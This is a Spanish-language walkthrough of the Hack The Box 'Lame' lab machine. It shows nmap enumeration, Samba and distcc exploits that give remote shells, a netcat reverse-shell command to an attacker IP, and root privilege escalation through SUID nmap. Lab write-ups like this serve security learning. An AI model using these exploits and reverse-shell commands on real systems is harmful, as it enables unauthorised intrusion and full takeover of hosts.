

Máquina Lame



01 Septiembre 2022

Hack The Box

Creado por: dandy_loco

1. Enumeración

Realizamos un PING a la máquina víctima para comprobar su TTL. A partir del valor devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir que se trata de una máquina Linux.

```
(root@kali) - [~/home/kali/HTB]
# ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=42.2 ms

— 10.10.10.3 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.157/42.157/42.157/0.000 ms
```

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes servicios y versiones asociados.

```
# Nmap 7.90 scan initiated Fri Sep 1 07:36:34 2023 as: nmap -sCV -p 21,22,139,445,3632 -n -v -oN targeted 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.042s latency).

PORT      STATE SERVICE          VERSION
21/tcp    open  ftp              vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to 10.10.14.6
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh              OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_  1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn     Samba smb3 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-info M:559f9b437b*^A Samba smb3 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp  open  distccd         distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb-security-mode:
|_  account_used: guest
|_  authentication_level: user
|_  challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m23s, deviation: 2h49m45s, median: 20s
|_smb-os-discovery:
|_  OS: Unix (Samba 3.0.20-Debian)
|_  Computer name: lame
|_  NetBIOS computer name:
|_  Domain name: hackthebox.gr
|_  FQDN: lame.hackthebox.gr
|_  System time: 2023-09-01T01:37:12-04:00

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap done at Fri Sep 1 07:37:27 2023 -- 1 IP address (1 host up) scanned in 52.83 seconds
```

2. Análisis de vulnerabilidades

Dado que la máquina tiene activo el servicio FTP y permite el inicio de sesión anónimo, vamos a conectarnos a ver si encontramos algo interesante.

```
(root@kali)~/home/kali/HTB/Lame
└─$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||32464|).
150 Here comes the directory listing.
drwxr-xr-x  2 0      65534   4096 Mar 17  2010 .
drwxr-xr-x  2 0      65534   4096 Mar 17  2010 ..
226 Directory send OK.
ftp> █
```

Parece que el directorio está vacío. Con NMAP conseguimos ver el software y versión, que corre ese servicio de FTP (vsftpd 2.3.4). Vamos a ver si tiene alguna vulnerabilidad. Encontramos un exploit, el cual se aprovecha de una puerta trasera de vsftpd, abriendo una shell por el puerto 6200. Sin embargo, nuestra máquina no parece tener ese puerto expuesto, por lo que descartamos su utilidad.

```
(root@kali)~/home/kali/HTB/Lame
└─$ searchsploit vsftpd

Exploit Title | Path
-----|-----
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/49278.c
vsftpd 2.3.4 - Backdoor Command Execution | linux/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py

Shellcodes: No Results
Papers: No Results
```

Vulnerabilidad en una backdoor en el puerto 6200/tcp en vsftpd (CVE-2011-2523)

Severidad: CRÍTICA

Tipo: CVE-78 Neutralización incorrecta de elementos especiales usados en un comando de sistema operativo (inyección de comando de sistema operativo)

Fecha de publicación: 27/11/2019

Última modificación: 12/04/2021

Descripción

vsftpd versión 2.3.4 descargado entre 20110630 y 20110703, contiene una puerta trasera (backdoor) que abre un shell en el puerto 6200/tcp.

Enumeramos el servicio SMB, solo teniendo acceso al recurso /tmp. Revisamos su contenido, pero no encontramos nada interesante.

```
(root@kali) - [~/home/kali/HTB/Lame/content]
# smbclient //10.10.10.3/tmp -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Fri Sep  1 07:57:04 2023
..               DR          0   Sat Oct 31 07:33:58 2020
.ICE-unix        DH          0   Fri Sep  1 07:33:31 2023
vmware-root      DR          0   Fri Sep  1 07:33:55 2023
.X11-unix        DH          0   Fri Sep  1 07:33:57 2023
5560.jsvc_up     R            0   Fri Sep  1 07:34:35 2023
.X0-lock         HR          11   Fri Sep  1 07:33:57 2023
vgauthsvclg.txt.0 R          1600  Fri Sep  1 07:33:29 2023

7282168 blocks of size 1024. 5386548 blocks available
smb: \> |
```

3. Explotación y acceso

Buscando posibles exploit para la versión de Samba a la que nos enfrentamos, encontramos uno interesante.

```
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
```

Para no depender de Metasploit, buscamos un exploit que se aproveche de la misma vulnerabilidad.

```
1. https://github.com/amriunix/CVE-2007-2447
```

Nos clonamos el repositorio e instalamos dependencias, siguiendo las instrucciones de la propia web del exploit.

```
1. sudo apt install python python-pip
2. pip install --user pysmb
3. git clone https://github.com/amriunix/CVE-2007-2447.git
```

Nos ponemos en escucha con netcat y ejecutamos el exploit. Conseguimos ganar acceso como root.

```
(root@kali) - [~/home/.../HTB/Lame/content/CVE-2007-2447]
# python3 usermap_script.py 10.10.10.3 139 10.10.14.6 443
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !
```

```
(root@kali) - [~/home/kali/HTB/Lame]
# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 33455
whoami
root
```

4. Vía alternativa

Como forma alternativa de conseguir vulnerar la máquina, podemos empezar aprovecharnos del servicio distcc.

¿Qué es un Distcc?

Es una herramienta para acelerar la compilación del código fuente mediante el uso de computación distribuida en una red informática. Con la configuración correcta, distcc puede reducir drásticamente el tiempo de compilación de un proyecto.

En este [enlace](#) tenemos una forma de ejecutar comandos aprovechándonos de la vulnerabilidad CVE-2004-2687. Nos descargamos el exploit y lo ejecutamos. Ganamos acceso a la máquina como el usuario daemon.

```
(root@kali) ~ - [~/home/~/HTB/Lame/content/distcc_cve_2004-2687_exploit]
# python3 distcc_exploit.py -i 10.10.10.3 -p 3632

[+] Connection successful
[+] Try to execute commands

> whoami
daemon

> which nc
/bin/nc

> nc 10.10.14.6 4343 -e /bin/bash
```

```
(root@kali) ~ - [~/home/kali]
# nc -nvlp 4343
listening on [any] 4343 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.3] 40427

whoami
daemon
```

Apoyándonos en líneas, vemos que binario nmap, tiene privilegios SUID. En este [enlace](#) podemos ver cómo aprovecharnos de ese permiso, accediendo al modo interactivo para generar una shell, como el usuario root.

```
daemon@lame:/tmp$ ls -la /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 Apr  8 2008 /usr/bin/nmap
daemon@lame:/tmp$
```

```
daemon@lame:/tmp$ /usr/bin/nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !whoami
root
system() execution of command failed
nmap> !sh
sh-3.2# whoami
root
sh-3.2#
```